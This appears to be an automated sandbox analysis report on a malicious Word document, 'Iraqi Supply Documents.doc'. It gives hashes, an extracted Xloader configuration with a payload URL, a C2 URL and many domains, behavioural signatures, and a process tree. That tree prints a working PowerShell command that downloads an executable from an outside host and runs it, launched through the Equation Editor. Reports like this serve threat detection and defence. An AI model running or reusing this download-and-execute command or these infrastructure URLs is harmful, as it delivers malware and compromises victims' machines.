Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
04-03-2021 15:57
Static task
static1
Behavioral task
behavioral1
Sample
Iraqi Supply Documents.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Iraqi Supply Documents.doc
Resource
win10v20201028
General
-
Target
Iraqi Supply Documents.doc
-
Size
267KB
-
MD5
174339ee0b1d50af956d16c7608a787e
-
SHA1
70f7dda70f239b16afcd1e7818075237c53abbc5
-
SHA256
9e9f12d14bd6918e39116f6a1c8017ecf3cd93a37c760b67175c0332d429526e
-
SHA512
f7a7c1ff8cb032582f8695cb927e1429d8b355547b67a96dfb8834fd43e8891bd6a660c70935c910ba0ee2cb1f20a8d83bc42aab04db310b85fbadab8897527a
Malware Config
Extracted
http://bppgov.ng/gotv.exe
Extracted
xloader
http://www.pardsoda.com/w25t/
nowayinlocksmith.com
bookaprovider.com
joybirder.com
decoracerrado.com
preciousmonments.com
96kixx.com
parentseducationalco-op.com
cbdandbtc.com
santanadeliciasymas.com
finecharlottehomes.com
themanibox.com
backupasia.com
buffalodetailstore.com
iprdo.com
croce-komeko.com
bluechipsgroup.company
truyencow.com
globalism.online
oicrafts.com
naturalawakeningsprograms.com
findsurreydeltahomes.com
dressing.cat
tavazonfund.com
defichair.com
str8firekennels.com
lenskart.site
salahdinortho.com
3tothrive.com
watchsdeals.com
plethoracosmetics.net
kentland33store.com
abbaszawawi.com
resepmasakankita.info
tomschoices.net
xn--livezoty-bpb.com
sixteen3handscottages.com
elliesuesews.com
mylordismyshepherd.com
chaing-list.xyz
asesorgrupovivir.com
kicked2theothercurb.com
nemahealthcare.com
allsalesvinyl.net
crystal-beachclub.com
mprose.net
chooseone.xyz
glasgowldn2009.com
getyourquan.com
nailpolishng.com
myeunoiateacompany.com
tobaccomangalt.com
honggedichan.com
beleafagency.com
zhonghuixingyue.com
fitnessworldexample.com
skdocm.club
buygenerations.com
aressdsg.com
auberge-escotais.com
claritycleaningsystems.com
riru300.com
aserchofalltrades.com
blackholidayco.com
bookclubspeakers.com
Signatures
-
Xloader Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/812-54-0x0000000000401000-0x0000000000541000-memory.dmp xloader behavioral1/memory/560-62-0x00000000000C0000-0x00000000000E9000-memory.dmp xloader -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 688 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
Wb.exepid process 956 Wb.exe -
Loads dropped DLL 7 IoCs
Processes:
powershell.exeWb.exeWb.exepid process 688 powershell.exe 688 powershell.exe 688 powershell.exe 688 powershell.exe 688 powershell.exe 956 Wb.exe 812 Wb.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exeWb.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\sackcloths Wb.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
Wb.exeWb.exepid process 956 Wb.exe 812 Wb.exe 812 Wb.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
Wb.exeWb.exemsdt.exedescription pid process target process PID 956 set thread context of 812 956 Wb.exe Wb.exe PID 812 set thread context of 1256 812 Wb.exe Explorer.EXE PID 560 set thread context of 1256 560 msdt.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1188 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 26 IoCs
Processes:
powershell.exeWb.exemsdt.exepid process 688 powershell.exe 688 powershell.exe 812 Wb.exe 812 Wb.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe 560 msdt.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
Wb.exeWb.exemsdt.exepid process 956 Wb.exe 812 Wb.exe 812 Wb.exe 812 Wb.exe 560 msdt.exe 560 msdt.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exeWb.exemsdt.exedescription pid process Token: SeDebugPrivilege 688 powershell.exe Token: SeDebugPrivilege 812 Wb.exe Token: SeDebugPrivilege 560 msdt.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
Explorer.EXEpid process 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
WINWORD.EXEWb.exepid process 1188 WINWORD.EXE 1188 WINWORD.EXE 956 Wb.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
WINWORD.EXEEQNEDT32.EXEcmd.exepowershell.exeWb.exeExplorer.EXEmsdt.exedescription pid process target process PID 1188 wrote to memory of 1852 1188 WINWORD.EXE splwow64.exe PID 1188 wrote to memory of 1852 1188 WINWORD.EXE splwow64.exe PID 1188 wrote to memory of 1852 1188 WINWORD.EXE splwow64.exe PID 1188 wrote to memory of 1852 1188 WINWORD.EXE splwow64.exe PID 680 wrote to memory of 1140 680 EQNEDT32.EXE cmd.exe PID 680 wrote to memory of 1140 680 EQNEDT32.EXE cmd.exe PID 680 wrote to memory of 1140 680 EQNEDT32.EXE cmd.exe PID 680 wrote to memory of 1140 680 EQNEDT32.EXE cmd.exe PID 1140 wrote to memory of 688 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 688 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 688 1140 cmd.exe powershell.exe PID 1140 wrote to memory of 688 1140 cmd.exe powershell.exe PID 688 wrote to memory of 956 688 powershell.exe Wb.exe PID 688 wrote to memory of 956 688 powershell.exe Wb.exe PID 688 wrote to memory of 956 688 powershell.exe Wb.exe PID 688 wrote to memory of 956 688 powershell.exe Wb.exe PID 956 wrote to memory of 812 956 Wb.exe Wb.exe PID 956 wrote to memory of 812 956 Wb.exe Wb.exe PID 956 wrote to memory of 812 956 Wb.exe Wb.exe PID 956 wrote to memory of 812 956 Wb.exe Wb.exe PID 956 wrote to memory of 812 956 Wb.exe Wb.exe PID 1256 wrote to memory of 560 1256 Explorer.EXE msdt.exe PID 1256 wrote to memory of 560 1256 Explorer.EXE msdt.exe PID 1256 wrote to memory of 560 1256 Explorer.EXE msdt.exe PID 1256 wrote to memory of 560 1256 Explorer.EXE msdt.exe PID 560 wrote to memory of 1404 560 msdt.exe cmd.exe PID 560 wrote to memory of 1404 560 msdt.exe cmd.exe PID 560 wrote to memory of 1404 560 msdt.exe cmd.exe PID 560 wrote to memory of 1404 560 msdt.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Iraqi Supply Documents.doc"2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\msdt.exe"C:\Windows\SysWOW64\msdt.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\Wb.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c PowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell "try{$xcHZX=$env:temp+'\Wb.exe'; (New-Object System.Net.WebClient).DownloadFile( 'http://bppgov.ng/gotv.exe', $xcHZX);(New-Object -com Shell.Application).ShellExecute( $xcHZX);}catch{}"3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Wb.exe"C:\Users\Admin\AppData\Local\Temp\Wb.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Wb.exe"C:\Users\Admin\AppData\Local\Temp\Wb.exe"5⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
C:\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
C:\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
\Users\Admin\AppData\Local\Temp\Wb.exeMD5
1da73d4931cd6893f7b9fc765225a62d
SHA1cdc4992d5e425628b1c12c51d64a9105824bacc5
SHA25612e42bff4fa377032623342ac1f23a5c87225a40ef8b900cbb06ae4bd203864d
SHA512fe6d7693e80890b3da7a27d37630d48a4de919b53a8532496fe9c4b66665dde605a46f71d42e228d83fa8d3c92aaadc5a36b50e479f450742ab8a06589820a18
-
memory/560-62-0x00000000000C0000-0x00000000000E9000-memory.dmpFilesize
164KB
-
memory/560-58-0x0000000000000000-mapping.dmp
-
memory/560-61-0x00000000007B0000-0x00000000008A4000-memory.dmpFilesize
976KB
-
memory/560-63-0x0000000002160000-0x0000000002463000-memory.dmpFilesize
3.0MB
-
memory/560-64-0x0000000001ED0000-0x0000000001F5F000-memory.dmpFilesize
572KB
-
memory/680-7-0x00000000759F1000-0x00000000759F3000-memory.dmpFilesize
8KB
-
memory/688-14-0x0000000004830000-0x0000000004831000-memory.dmpFilesize
4KB
-
memory/688-11-0x000000006B8E0000-0x000000006BFCE000-memory.dmpFilesize
6.9MB
-
memory/688-26-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/688-27-0x00000000057A0000-0x00000000057A1000-memory.dmpFilesize
4KB
-
memory/688-34-0x0000000006250000-0x0000000006251000-memory.dmpFilesize
4KB
-
memory/688-35-0x00000000062F0000-0x00000000062F1000-memory.dmpFilesize
4KB
-
memory/688-20-0x0000000005640000-0x0000000005641000-memory.dmpFilesize
4KB
-
memory/688-17-0x0000000005280000-0x0000000005281000-memory.dmpFilesize
4KB
-
memory/688-16-0x0000000002670000-0x0000000002671000-memory.dmpFilesize
4KB
-
memory/688-15-0x0000000004832000-0x0000000004833000-memory.dmpFilesize
4KB
-
memory/688-9-0x0000000000000000-mapping.dmp
-
memory/688-25-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/688-13-0x0000000004870000-0x0000000004871000-memory.dmpFilesize
4KB
-
memory/688-12-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
-
memory/812-56-0x000000001E7D0000-0x000000001E7E0000-memory.dmpFilesize
64KB
-
memory/812-54-0x0000000000401000-0x0000000000541000-memory.dmpFilesize
1.2MB
-
memory/812-49-0x00000000004018E4-mapping.dmp
-
memory/812-51-0x00000000001B0000-0x00000000002B0000-memory.dmpFilesize
1024KB
-
memory/812-55-0x000000001E8D0000-0x000000001EBD3000-memory.dmpFilesize
3.0MB
-
memory/956-45-0x0000000000430000-0x000000000043B000-memory.dmpFilesize
44KB
-
memory/956-41-0x0000000000000000-mapping.dmp
-
memory/1140-8-0x0000000000000000-mapping.dmp
-
memory/1188-2-0x00000000730B1000-0x00000000730B4000-memory.dmpFilesize
12KB
-
memory/1188-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1188-3-0x0000000070B31000-0x0000000070B33000-memory.dmpFilesize
8KB
-
memory/1256-57-0x0000000007580000-0x0000000007716000-memory.dmpFilesize
1.6MB
-
memory/1404-60-0x0000000000000000-mapping.dmp
-
memory/1732-53-0x000007FEF7E30000-0x000007FEF80AA000-memory.dmpFilesize
2.5MB
-
memory/1852-6-0x000007FEFC4D1000-0x000007FEFC4D3000-memory.dmpFilesize
8KB
-
memory/1852-5-0x0000000000000000-mapping.dmp